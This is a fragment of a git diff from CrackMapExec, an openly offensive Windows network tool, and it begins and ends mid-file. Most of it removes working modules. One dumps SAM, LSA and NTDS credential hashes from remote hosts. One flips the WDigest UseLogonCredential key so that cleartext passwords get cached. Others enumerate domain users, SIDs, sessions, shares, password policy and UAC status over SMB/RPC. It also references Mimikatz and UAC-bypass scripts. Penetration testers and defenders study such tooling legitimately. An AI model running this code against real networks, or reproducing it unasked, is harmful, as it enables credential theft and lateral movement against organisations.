-from cme.remoteoperations import RemoteOperations -from cme.credentials.sam import SAMHashes -from cme.credentials.lsa import LSASecrets -from cme.credentials.ntds import NTDSHashes -from impacket.dcerpc.v5.rpcrt import DCERPCException -import traceback -import os -import logging - -class DumpSecrets: - def __init__(self, connection): - self.__useVSSMethod = False - self.__smbConnection = connection.conn - self.__db = connection.db - self.__host = connection.host - self.__hostname = connection.hostname - self.__remoteOps = None - self.__SAMHashes = None - self.__NTDSHashes = None - self.__LSASecrets = None - #self.__systemHive = options.system - #self.__securityHive = options.security - #self.__samHive = options.sam - #self.__ntdsFile = options.ntds - self.__bootKey = None - self.__history = False - self.__noLMHash = True - self.__isRemote = True - self.__outputFileName = os.path.join(os.path.expanduser('~/.cme'), 'logs/{}_{}'.format(connection.hostname, connection.host)) - self.__doKerberos = False - self.__justDC = False - self.__justDCNTLM = False - self.__pwdLastSet = False - self.__resumeFileName = None - self.__logger = connection.logger - - def getBootKey(self): - # Local Version whenever we are given the files directly - bootKey = '' - tmpKey = '' - winreg = winregistry.Registry(self.__systemHive, self.__isRemote) - # We gotta find out the Current Control Set - currentControlSet = winreg.getValue('\\Select\\Current')[1] - currentControlSet = "ControlSet%03d" % currentControlSet - for key in ['JD','Skew1','GBG','Data']: - logging.debug('Retrieving class info for %s'% key) - ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet,key)) - digit = ans[:16].decode('utf-16le') - tmpKey = tmpKey + digit - - transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ] - - tmpKey = unhexlify(tmpKey) - - for i in xrange(len(tmpKey)): - bootKey += tmpKey[transforms[i]] - - logging.info('Target system bootKey: 0x%s' % hexlify(bootKey)) - - return bootKey - - def checkNoLMHashPolicy(self): - logging.debug('Checking NoLMHash Policy') - winreg = winregistry.Registry(self.__systemHive, self.__isRemote) - # We gotta find out the Current Control Set - currentControlSet = winreg.getValue('\\Select\\Current')[1] - currentControlSet = "ControlSet%03d" % currentControlSet - - #noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1] - noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet) - if noLmHash is not None: - noLmHash = noLmHash[1] - else: - noLmHash = 0 - - if noLmHash != 1: - logging.debug('LMHashes are being stored') - return False - logging.debug('LMHashes are NOT being stored') - return True - - def enableRemoteRegistry(self): - bootKey = None - try: - self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos) - #if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True: - self.__remoteOps.enableRegistry() - self.__bootKey = self.__remoteOps.getBootKey() - # Let's check whether target system stores LM Hashes - self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy() - except Exception as e: - traceback.print_exc() - logging.error('RemoteOperations failed: %s' % str(e)) - - def SAM_dump(self): - self.enableRemoteRegistry() - sam_hashes = [] - try: - SAMFileName = self.__remoteOps.saveSAM() - self.__SAMHashes = SAMHashes(SAMFileName, - self.__bootKey, - self.__logger, - self.__db, - self.__host, - self.__hostname, - isRemote = True) - sam_hashes.extend(self.__SAMHashes.dump()) - self.__SAMHashes.export(self.__outputFileName) - except Exception as e: - traceback.print_exc() - logging.error('SAM hashes extraction failed: %s' % str(e)) - - self.cleanup() - return sam_hashes - - def LSA_dump(self): - self.enableRemoteRegistry() - lsa_secrets = [] - try: - SECURITYFileName = self.__remoteOps.saveSECURITY() - - self.__LSASecrets = LSASecrets(SECURITYFileName, - self.__bootKey, - self.__logger, - self.__remoteOps, - isRemote=self.__isRemote) - - lsa_secrets.extend(self.__LSASecrets.dumpCachedHashes()) - self.__LSASecrets.exportCached(self.__outputFileName) - lsa_secrets.extend(self.__LSASecrets.dumpSecrets()) - self.__LSASecrets.exportSecrets(self.__outputFileName) - except Exception as e: - traceback.print_exc() - logging.error('LSA hashes extraction failed: %s' % str(e)) - - self.cleanup() - return lsa_secrets - - def NTDS_dump(self, method, pwdLastSet, history): - self.__pwdLastSet = pwdLastSet - self.__history = history - try: - self.enableRemoteRegistry() - except Exception: - traceback.print_exc() - - # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work - if method == 'vss': - self.__useVSSMethod = True - - if self.__useVSSMethod: - NTDSFileName = self.__remoteOps.saveNTDS() - else: - NTDSFileName = None - - self.__NTDSHashes = NTDSHashes(NTDSFileName, self.__bootKey, self.__logger, isRemote=True, history=self.__history, - noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, - useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM, - pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, - outputFileName=self.__outputFileName) - #try: - self.__NTDSHashes.dump() - #except Exception as e: - # traceback.print_exc() - # logging.error(e) - # if self.__useVSSMethod is False: - # logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') - self.cleanup() - - def cleanup(self): - logging.info('Cleaning up... ') - if self.__remoteOps: - try: - self.__remoteOps.finish() - except: - logging.debug('Error calling remoteOps.finish(), traceback:') - logging.debug(traceback.format_exc()) - - if self.__SAMHashes: - try: - self.__SAMHashes.finish() - except: - logging.debug('Error calling SAMHashes.finish(), traceback:') - logging.debug(traceback.format_exc()) - - if self.__LSASecrets: - try: - self.__LSASecrets.finish() - except: - logging.debug('Error calling LSASecrets.finish(), traceback:') - logging.debug(traceback.format_exc()) - - if self.__NTDSHashes: - try: - self.__NTDSHashes.finish() - except: - logging.debug('Error calling NTDSHashes.finish(), traceback:') - logging.debug(traceback.format_exc()) \ No newline at end of file diff --git a/cme/credentials/wdigest.py b/cme/credentials/wdigest.py deleted file mode 100644 index 0411d35b..00000000 --- a/cme/credentials/wdigest.py +++ /dev/null @@ -1,71 +0,0 @@ -from cme.remoteoperations import RemoteOperations -from impacket.dcerpc.v5.rpcrt import DCERPCException -from impacket.dcerpc.v5 import rrp - -class WDIGEST: - - def __init__(self, connection): - self.logger = connection.logger - self.smbconnection = connection.conn - self.doKerb = False - self.rrp = None - - def enable(self): - remoteOps = RemoteOperations(self.smbconnection, self.doKerb) - remoteOps.enableRegistry() - self.rrp = remoteOps._RemoteOperations__rrp - - if self.rrp is not None: - ans = rrp.hOpenLocalMachine(self.rrp) - regHandle = ans['phKey'] - - ans = rrp.hBaseRegOpenKey(self.rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest') - keyHandle = ans['phkResult'] - - rrp.hBaseRegSetValue(self.rrp, keyHandle, 'UseLogonCredential\x00', rrp.REG_DWORD, 1) - - rtype, data = rrp.hBaseRegQueryValue(self.rrp, keyHandle, 'UseLogonCredential\x00') - - if int(data) == 1: - self.logger.success('UseLogonCredential registry key created successfully') - - try: - remoteOps.finish() - except: - pass - - def disable(self): - remoteOps = RemoteOperations(self.smbconnection, self.doKerb) - remoteOps.enableRegistry() - self.rrp = remoteOps._RemoteOperations__rrp - - if self.rrp is not None: - ans = rrp.hOpenLocalMachine(self.rrp) - regHandle = ans['phKey'] - - ans = rrp.hBaseRegOpenKey(self.rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest') - keyHandle = ans['phkResult'] - - try: - rrp.hBaseRegDeleteValue(self.rrp, keyHandle, 'UseLogonCredential\x00') - except: - self.logger.success('UseLogonCredential registry key not present') - - try: - remoteOps.finish() - except: - pass - - return - - try: - #Check to make sure the reg key is actually deleted - rtype, data = rrp.hBaseRegQueryValue(self.rrp, keyHandle, 'UseLogonCredential\x00') - except DCERPCException: - self.logger.success('UseLogonCredential registry key deleted successfully') - - try: - remoteOps.finish() - except: - pass - diff --git a/cme/data/Invoke-EventVwrBypass.ps1 b/cme/data/Invoke-EventVwrBypass.ps1 old mode 100644 new mode 100755 diff --git a/cme/data/Invoke-Mimikatz.ps1 b/cme/data/Invoke-Mimikatz.ps1 old mode 100644 new mode 100755 diff --git a/cme/data/PowerSploit b/cme/data/PowerSploit index 262a2608..c7985c9b 160000 --- a/cme/data/PowerSploit +++ b/cme/data/PowerSploit @@ -1 +1 @@ -Subproject commit 262a260865d408808ab332f972d410d3b861eff1 +Subproject commit c7985c9bc31e92bb6243c177d7d1d7e68b6f1816 diff --git a/cme/data/cme.conf b/cme/data/cme.conf old mode 100644 new mode 100755 index f096cc82..31be659a --- a/cme/data/cme.conf +++ b/cme/data/cme.conf @@ -1,3 +1,6 @@ +[CME] +workspace=default + [Empire] api_host=127.0.0.1 api_port=1337 @@ -7,4 +10,4 @@ password=Password123! [Metasploit] rpc_host=127.0.0.1 rpc_port=55552 -password=abc123 \ No newline at end of file +password=abc123 diff --git a/cme/data/videos_for_darrel.txt b/cme/data/videos_for_darrel.txt new file mode 100755 index 00000000..93bc1295 --- /dev/null +++ b/cme/data/videos_for_darrel.txt @@ -0,0 +1,21 @@ +https://www.youtube.com/watch?v=dQw4w9WgXcQ +https://www.youtube.com/watch?v=l12Csc_lW0Q +https://www.youtube.com/watch?v=wBqM2ytqHY4 +https://www.youtube.com/watch?v=N1zL13LvxS8 +https://imgur.com/gallery/s1hLouN +https://www.youtube.com/watch?v=Tay791Nprx0 +https://www.youtube.com/watch?v=rOGbMwXnlQM +https://www.youtube.com/watch?v=mv8mV5X0MR8 +https://www.youtube.com/watch?v=nH2gUPTFCfo +https://www.youtube.com/watch?v=zzfQwXEqYaI +https://www.youtube.com/watch?v=yuwprXAaSv0 +https://i.imgur.com/aTr6Afr.gifv +https://www.youtube.com/watch?v=SZoiJM1vlfc +https://www.youtube.com/watch?v=IvDeXaiBy3I +https://www.youtube.com/watch?v=G0cqV3h-aDA +https://www.youtube.com/watch?v=q6yHoSvrTss +https://www.youtube.com/watch?v=jnHFYTjk4MQ +https://www.youtube.com/watch?v=tVj0ZTS4WF4 +https://www.youtube.com/watch?v=q6EoRBvdVPQ +https://www.youtube.com/watch?v=Sagg08DrO5U +https://www.youtube.com/watch?v=z9Uz1icjwrM diff --git a/cme/enum/lookupsid.py b/cme/enum/lookupsid.py deleted file mode 100755 index 3d039b91..00000000 --- a/cme/enum/lookupsid.py +++ /dev/null @@ -1,124 +0,0 @@ -#!/usr/bin/python -# Copyright (c) 2012-2015 CORE Security Technologies -# -# This software is provided under under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# DCE/RPC lookup sid brute forcer example -# -# Author: -# Alberto Solino (@agsolino) -# -# Reference for: -# DCE/RPC [MS-LSAT] - -import sys -import logging -import codecs -import traceback - -from impacket import version -from impacket.dcerpc.v5 import transport, lsat, lsad -from impacket.dcerpc.v5.samr import SID_NAME_USE -from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED -from impacket.dcerpc.v5.rpcrt import DCERPCException - - -class LSALookupSid: - KNOWN_PROTOCOLS = { - '139/SMB': (r'ncacn_np:%s[\pipe\lsarpc]', 139), - '445/SMB': (r'ncacn_np:%s[\pipe\lsarpc]', 445) - #'135/TCP': (r'ncacn_ip_tcp:%s', 135), - } - - def __init__(self, connection): - self.__logger = connection.logger - self.__addr = connection.host - self.__username = connection.username - self.__password = connection.password - self.__protocol = connection.args.smb_port - self.__hash = connection.hash - self.__maxRid = int(connection.args.rid_brute) - self.__domain = connection.domain - self.__lmhash = '' - self.__nthash = '' - - if self.__hash is not None: - self.__lmhash, self.__nthash = self.__hash.split(':') - - if self.__password is None: - self.__password = '' - - def brute_force(self): - - logging.info('Brute forcing SIDs at %s' % self.__addr) - - protodef = LSALookupSid.KNOWN_PROTOCOLS['{}/SMB'.format(self.__protocol)] - port = protodef[1] - - logging.info("Trying protocol %s..." % self.__protocol) - stringbinding = protodef[0] % self.__addr - - rpctransport = transport.DCERPCTransportFactory(stringbinding) - rpctransport.set_dport(port) - if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) - - try: - self.__logger.success("Brute forcing SIDs (rid:domain:user)") - self.__bruteForce(rpctransport, self.__maxRid) - except Exception as e: - traceback.print_exc() - - def __bruteForce(self, rpctransport, maxRid): - dce = rpctransport.get_dce_rpc() - dce.connect() - - # Want encryption? Uncomment next line - # But make SIMULTANEOUS variable <= 100 - #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) - - # Want fragmentation? Uncomment next line - #dce.set_max_fragment_size(32) - - dce.bind(lsat.MSRPC_UUID_LSAT) - resp = lsat.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) - policyHandle = resp['PolicyHandle'] - - resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation) - - domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical() - - soFar = 0 - SIMULTANEOUS = 1000 - for j in range(maxRid/SIMULTANEOUS+1): - if (maxRid - soFar) / SIMULTANEOUS == 0: - sidsToCheck = (maxRid - soFar) % SIMULTANEOUS - else: - sidsToCheck = SIMULTANEOUS - - if sidsToCheck == 0: - break - - sids = list() - for i in xrange(soFar, soFar+sidsToCheck): - sids.append(domainSid + '-%d' % i) - try: - lsat.hLsarLookupSids(dce, policyHandle, sids,lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) - except DCERPCException, e: - if str(e).find('STATUS_NONE_MAPPED') >= 0: - soFar += SIMULTANEOUS - continue - elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0: - resp = e.get_packet() - else: - raise - - for n, item in enumerate(resp['TranslatedNames']['Names']): - if item['Use'] != SID_NAME_USE.SidTypeUnknown: - self.__logger.highlight("%d: %s\\%s (%s)" % (soFar+n, resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'], SID_NAME_USE.enumItems(item['Use']).name)) - soFar += SIMULTANEOUS - - dce.disconnect() \ No newline at end of file diff --git a/cme/enum/passpol.py b/cme/enum/passpol.py deleted file mode 100644 index 99b9fe91..00000000 --- a/cme/enum/passpol.py +++ /dev/null @@ -1,132 +0,0 @@ -import sys -import codecs -import logging - -from impacket.nt_errors import STATUS_MORE_ENTRIES -from impacket.dcerpc.v5 import transport, samr -from impacket.dcerpc.v5.rpcrt import DCERPCException -from time import strftime, gmtime - -class PassPolDump: - KNOWN_PROTOCOLS = { - '139/SMB': (r'ncacn_np:%s[\pipe\samr]', 139), - '445/SMB': (r'ncacn_np:%s[\pipe\samr]', 445), - } - - def __init__(self, connection): - self.logger = connection.logger - self.addr = connection.host - self.protocol = connection.args.smb_port - self.username = connection.username - self.password = connection.password - self.domain = connection.domain - self.hash = connection.hash - self.lmhash = '' - self.nthash = '' - self.aesKey = None - self.doKerberos = False - - if self.hash is not None: - self.lmhash, self.nthash = self.hash.split(':') - - if self.password is None: - self.password = '' - - def enum(self): - - #logging.info('Retrieving endpoint list from %s' % addr) - - entries = [] - - protodef = PassPolDump.KNOWN_PROTOCOLS['{}/SMB'.format(self.protocol)] - port = protodef[1] - - logging.info("Trying protocol %s..." % self.protocol) - rpctransport = transport.SMBTransport(self.addr, port, r'\samr', self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos = self.doKerberos) - - dce = rpctransport.get_dce_rpc() - dce.connect() - - dce.bind(samr.MSRPC_UUID_SAMR) - - resp = samr.hSamrConnect(dce) - serverHandle = resp['ServerHandle'] - - resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle) - domains = resp['Buffer']['Buffer'] - - resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, domains[0]['Name']) - - resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId']) - domainHandle = resp['DomainHandle'] - - self.logger.success('Dumping password policy') - self.get_pass_pol(self.addr, rpctransport, dce, domainHandle) - - def convert(self, low, high, no_zero): - - if low == 0 and hex(high) == "-0x80000000": - return "Not Set" - if low == 0 and high == 0: - return "None" - if no_zero: # make sure we have a +ve vale for the unsined int - if (low != 0): - high = 0 - (high+1) - else: - high = 0 - (high) - low = 0 - low - tmp = low + (high)*16**8 # convert to 64bit int - tmp *= (1e-7) # convert to seconds - try: - minutes = int(strftime("%M", gmtime(tmp))) # do the conversion to human readable format - except ValueError, e: - return "BAD TIME:" - hours = int(strftime("%H", gmtime(tmp))) - days = int(strftime("%j", gmtime(tmp)))-1 - time = "" - if days > 1: - time = str(days) + " days " - elif days == 1: - time = str(days) + " day " - if hours > 1: - time += str(hours) + " hours " - elif hours == 1: - time = str(days) + " hour " - if minutes > 1: - time += str(minutes) + " minutes" - elif minutes == 1: - time = str(days) + " minute " - return time - - def get_pass_pol(self, host, rpctransport, dce, domainHandle): - - resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation) - - min_pass_len = resp['Buffer']['Password']['MinPasswordLength'] - - pass_hst_len = resp['Buffer']['Password']['PasswordHistoryLength'] - - self.logger.highlight('Minimum password length: {}'.format(min_pass_len)) - self.logger.highlight('Password history length: {}'.format(pass_hst_len)) - - max_pass_age = self.convert(resp['Buffer']['Password']['MaxPasswordAge']['LowPart'], - resp['Buffer']['Password']['MaxPasswordAge']['HighPart'], - 1) - - min_pass_age = self.convert(resp['Buffer']['Password']['MinPasswordAge']['LowPart'], - resp['Buffer']['Password']['MinPasswordAge']['HighPart'], - 1) - - self.logger.highlight('Maximum password age: {}'.format(max_pass_age)) - self.logger.highlight('Minimum password age: {}'.format(min_pass_age)) - - resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation) - - lock_threshold = int(resp['Buffer']['Lockout']['LockoutThreshold']) - - self.logger.highlight("Account lockout threshold: {}".format(lock_threshold)) - - lock_duration = None - if lock_threshold != 0: lock_duration = int(resp['Buffer']['Lockout']['LockoutDuration']) / -600000000 - - self.logger.highlight("Account lockout duration: {}".format(lock_duration)) \ No newline at end of file diff --git a/cme/enum/rpcquery.py b/cme/enum/rpcquery.py deleted file mode 100644 index cb2be650..00000000 --- a/cme/enum/rpcquery.py +++ /dev/null @@ -1,107 +0,0 @@ -from impacket.dcerpc.v5 import transport, srvs, wkst -from impacket.dcerpc.v5.rpcrt import DCERPCException -from impacket.dcerpc.v5.dtypes import NULL - -class RPCQUERY(): - def __init__(self, connection): - self.logger = connection.logger - self.connection = connection - self.host = connection.host - self.username = connection.username - self.password = connection.password - self.domain = connection.domain - self.hash = connection.hash - self.nthash = '' - self.lmhash = '' - self.local_ip = None - self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') - if self.password is None: - self.password = '' - if self.hash: - self.lmhash, self.nthash = self.hash.split(':') - - def connect(self, service): - - if service == 'wkssvc': - stringBinding = r'ncacn_np:{}[\PIPE\wkssvc]'.format(self.host) - elif service == 'srvsvc': - stringBinding = r'ncacn_np:{}[\PIPE\srvsvc]'.format(self.host) - - rpctransport = transport.DCERPCTransportFactory(stringBinding) - rpctransport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash) - - dce = rpctransport.get_dce_rpc() - dce.connect() - - if service == 'wkssvc': - dce.bind(wkst.MSRPC_UUID_WKST, transfer_syntax = self.ts) - elif service == 'srvsvc': - dce.bind(srvs.MSRPC_UUID_SRVS, transfer_syntax = self.ts) - - self.local_ip = rpctransport.get_smb_server().get_socket().getsockname()[0] - return dce, rpctransport - - def enum_lusers(self): - dce, rpctransport = self.connect('wkssvc') - - try: - resp = wkst.hNetrWkstaUserEnum(dce, 1) - lusers = resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer'] - except Exception: - return - - self.logger.success("Enumerating logged on users") - for user in lusers: - self.logger.highlight(u'Username: {}\\{} {}'.format(user['wkui1_logon_domain'], - user['wkui1_username'], - 'LogonServer: {}'.format(user['wkui1_logon_server']) if user['wkui1_logon_server'] != '\x00' else '')) - - def enum_sessions(self): - dce, rpctransport = self.connect('srvsvc') - - try: - level = 502 - resp = srvs.hNetrSessionEnum(dce, NULL, NULL, level) - sessions = resp['InfoStruct']['SessionInfo']['Level502']['Buffer'] - except Exception: - pass - - try: - level = 0 - resp = srvs.hNetrSessionEnum(dce, NULL, NULL, level) - sessions = resp['InfoStruct']['SessionInfo']['Level0']['Buffer'] - except Exception: - return - - self.logger.success("Enumerating active sessions") - for session in sessions: - if level == 502: - if session['sesi502_cname'][:-1] != self.local_ip: - self.logger.highlight(u'\\\\{} {} [opens:{} time:{} idle:{}]'.format(session['sesi502_cname'], - session['sesi502_username'], - session['sesi502_num_opens'], - session['sesi502_time'], - session['sesi502_idle_time'])) - - elif level == 0: - if session['sesi0_cname'][:-1] != self.local_ip: - self.logger.highlight(u'\\\\{}'.format(session['sesi0_cname'])) - - def enum_disks(self): - dce, rpctransport = self.connect('srvsvc') - - try: - resp = srvs.hNetrServerDiskEnum(dce, 1) - except Exception: - pass - - try: - resp = srvs.hNetrServerDiskEnum(dce, 0) - except Exception: - return - - self.logger.success("Enumerating disks") - for disk in resp['DiskInfoStruct']['Buffer']: - for dname in disk.fields.keys(): - if disk[dname] != '\x00': - self.logger.highlight(disk[dname]) \ No newline at end of file diff --git a/cme/enum/shares.py b/cme/enum/shares.py deleted file mode 100644 index 6052cd74..00000000 --- a/cme/enum/shares.py +++ /dev/null @@ -1,42 +0,0 @@ -from impacket.smbconnection import SessionError -from cme.helpers import gen_random_string -import random -import string -import ntpath - -class ShareEnum: - - def __init__(self, connection): - self.smbconnection = connection.conn - self.logger = connection.logger - self.permissions = {} - self.root = ntpath.normpath("\\" + gen_random_string()) - - def enum(self): - for share in self.smbconnection.listShares(): - share_name = share['shi1_netname'][:-1] - self.permissions[share_name] = [] - - try: - self.smbconnection.listPath(share_name, '*') - self.permissions[share_name].append('READ') - except SessionError: - pass - - try: - self.smbconnection.createDirectory(share_name, self.root) - self.smbconnection.deleteDirectory(share_name, self.root) - self.permissions[share_name].append('WRITE') - except SessionError: - pass - - self.logger.success('Enumerating shares') - self.logger.highlight(u'{:<15} {}'.format('SHARE', 'Permissions')) - self.logger.highlight(u'{:<15} {}'.format('-----', '-----------')) - for share, perm in self.permissions.iteritems(): - if not perm: - self.logger.highlight(u'{:<15} {}'.format(share, 'NO ACCESS')) - else: - self.logger.highlight(u'{:<15} {}'.format(share, ', '.join(perm))) - - return self.permissions diff --git a/cme/enum/uac.py b/cme/enum/uac.py deleted file mode 100644 index d4f96fce..00000000 --- a/cme/enum/uac.py +++ /dev/null @@ -1,27 +0,0 @@ -from cme.remoteoperations import RemoteOperations -from impacket.dcerpc.v5 import rrp - -class UAC: - - def __init__(self, connection): - self.logger = connection.logger - self.smbconnection = connection.conn - self.doKerb = False - - def enum(self): - remoteOps = RemoteOperations(self.smbconnection, self.doKerb) - remoteOps.enableRegistry() - ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) - regHandle = ans['phKey'] - ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System') - keyHandle = ans['phkResult'] - dataType, uac_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'EnableLUA') - - self.logger.success("Enumerating UAC status") - if uac_value == 1: - self.logger.highlight('1 - UAC Enabled') - elif uac_value == 0: - self.logger.highlight('0 - UAC Disabled') - - rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) - remoteOps.finish() diff --git a/cme/enum/users.py b/cme/enum/users.py deleted file mode 100644 index aff5b649..00000000 --- a/cme/enum/users.py +++ /dev/null @@ -1,149 +0,0 @@ -#!/usr/bin/python -# Copyright (c) 2003-2015 CORE Security Technologies -# -# This software is provided under under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# Description: DCE/RPC SAMR dumper. -# -# Author: -# Javier Kohen -# Alberto Solino (@agsolino) -# -# Reference for: -# DCE/RPC for SAMR - -import logging - -from impacket.nt_errors import STATUS_MORE_ENTRIES -from impacket.dcerpc.v5 import transport, samr -from impacket.dcerpc.v5.rpcrt import DCERPCException - -class ListUsersException(Exception): - pass - -class SAMRDump: - - def __init__(self, connection): - - self.__username = connection.username - self.__addr = connection.host - self.__port = connection.args.smb_port - self.__password = connection.password - self.__domain = connection.domain - self.__hash = connection.hash - self.__lmhash = '' - self.__nthash = '' - self.__aesKey = None - self.__doKerberos = False - self.__logger = connection.logger - - if self.__hash is not None: - self.__lmhash, self.__nthash = self.__hash.split(':') - - if self.__password is None: - self.__password = '' - - def enum(self): - """Dumps the list of users and shares registered present at - remoteName. remoteName is a valid host name or IP address. - """ - - entries = [] - - logging.info('Retrieving endpoint list from %s' % self.__addr) - - stringbinding = 'ncacn_np:%s[\pipe\samr]' % self.__addr - logging.debug('StringBinding %s'%stringbinding) - rpctransport = transport.DCERPCTransportFactory(stringbinding) - rpctransport.set_dport(self.__port) - - if hasattr(rpctransport, 'setRemoteHost'): - rpctransport.setRemoteHost(self.__addr) - if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, - self.__nthash)# self.__aesKey) - #rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) - - try: - entries = self.__fetchList(rpctransport) - except Exception, e: - logging.critical(str(e)) - - # Display results. - - self.__logger.success('Dumping users') - for entry in entries: - (username, uid, user) = entry - base = "%s (%d)" % (username, uid) - self.__logger.highlight(u'{}/FullName: {}'.format(base, user['FullName'])) - self.__logger.highlight(u'{}/UserComment: {}' .format(base, user['UserComment'])) - self.__logger.highlight(u'{}/PrimaryGroupId: {}'.format(base, user['PrimaryGroupId'])) - self.__logger.highlight(u'{}/BadPasswordCount: {}'.format(base, user['BadPasswordCount'])) - self.__logger.highlight(u'{}/LogonCount: {}'.format(base, user['LogonCount'])) - - if entries: - num = len(entries) - if 1 == num: - logging.info('Received one entry.') - else: - logging.info('Received %d entries.' % num) - else: - logging.info('No entries received.') - - - def __fetchList(self, rpctransport): - dce = rpctransport.get_dce_rpc() - - entries = [] - - dce.connect() - dce.bind(samr.MSRPC_UUID_SAMR) - - try: - resp = samr.hSamrConnect(dce) - serverHandle = resp['ServerHandle'] - - resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle) - domains = resp['Buffer']['Buffer'] - - logging.info('Found domain(s):') - for domain in domains: - logging.info(" . %s" % domain['Name']) - - logging.info("Looking up users in domain %s" % domains[0]['Name']) - - resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,domains[0]['Name'] ) - - resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId']) - domainHandle = resp['DomainHandle'] - - status = STATUS_MORE_ENTRIES - enumerationContext = 0 - while status == STATUS_MORE_ENTRIES: - try: - resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext = enumerationContext) - except DCERPCException as e: - if str(e).find('STATUS_MORE_ENTRIES') < 0: - raise - resp = e.get_packet() - - for user in resp['Buffer']['Buffer']: - r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user['RelativeId']) - logging.info(u"Found user: %s, uid = %d" % (user['Name'], user['RelativeId'])) - info = samr.hSamrQueryInformationUser2(dce, r['UserHandle'],samr.USER_INFORMATION_CLASS.UserAllInformation) - entry = (user['Name'], user['RelativeId'], info['Buffer']['All']) - entries.append(entry) - samr.hSamrCloseHandle(dce, r['UserHandle']) - - enumerationContext = resp['EnumerationContext'] - status = resp['ErrorCode'] - - except ListUsersException, e: - logging.critical("Error listing users: %s" % e) - - dce.disconnect() - - return entries \ No newline at end of file diff --git a/cme/enum/wmiquery.py b/cme/enum/wmiquery.py deleted file mode 100644 index a43cb32d..00000000 --- a/cme/enum/wmiquery.py +++ /dev/null @@ -1,107 +0,0 @@ -#!/usr/bin/python -# Copyright (c) 2003-2015 CORE Security Technologies -# -# This software is provided under under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# Description: [MS-WMI] example. It allows to issue WQL queries and -# get description of the objects. -# -# e.g.: select name from win32_account -# e.g.: describe win32_process -# -# Author: -# Alberto Solino (@agsolino) -# -# Reference for: -# DCOM -# -import logging -import traceback - -from impacket.dcerpc.v5.dtypes import NULL -from impacket.dcerpc.v5.dcom import wmi -from impacket.dcerpc.v5.dcomrt import DCOMConnection - -class WMIQUERY: - - def __init__(self, connection): - self.__logger = connection.logger - self.__addr = connection.host - self.__username = connection.username - self.__password = connection.password - self.__hash = connection.hash - self.__domain = connection.domain - self.__namespace = connection.args.wmi_namespace - self.__query = connection.args.wmi - self.__iWbemServices = None - self.__doKerberos = False - self.__aesKey = None - self.__oxidResolver = True - self.__lmhash = '' - self.__nthash = '' - - if self.__hash is not None: - self.__lmhash, self.__nthash = self.__hash.split(':') - - if self.__password is None: - self.__password = '' - - self.__dcom = DCOMConnection(self.__addr, self.__username, self.__password, self.__domain, - self.__lmhash, self.__nthash, self.__aesKey, self.__oxidResolver, self.__doKerberos) - - try: - iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) - iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) - self.__iWbemServices= iWbemLevel1Login.NTLMLogin(self.__namespace, NULL, NULL) - iWbemLevel1Login.RemRelease() - except Exception as e: - self.__logger.error(e) - - def query(self): - - query = self.__query.strip('\n') - - if query[-1:] == ';': - query = query[:-1] - - if self.__iWbemServices: - - iEnumWbemClassObject = self.__iWbemServices.ExecQuery(query.strip('\n')) - self.__logger.success('Executed specified WMI query') - self.printReply(iEnumWbemClassObject) - iEnumWbemClassObject.RemRelease() - - 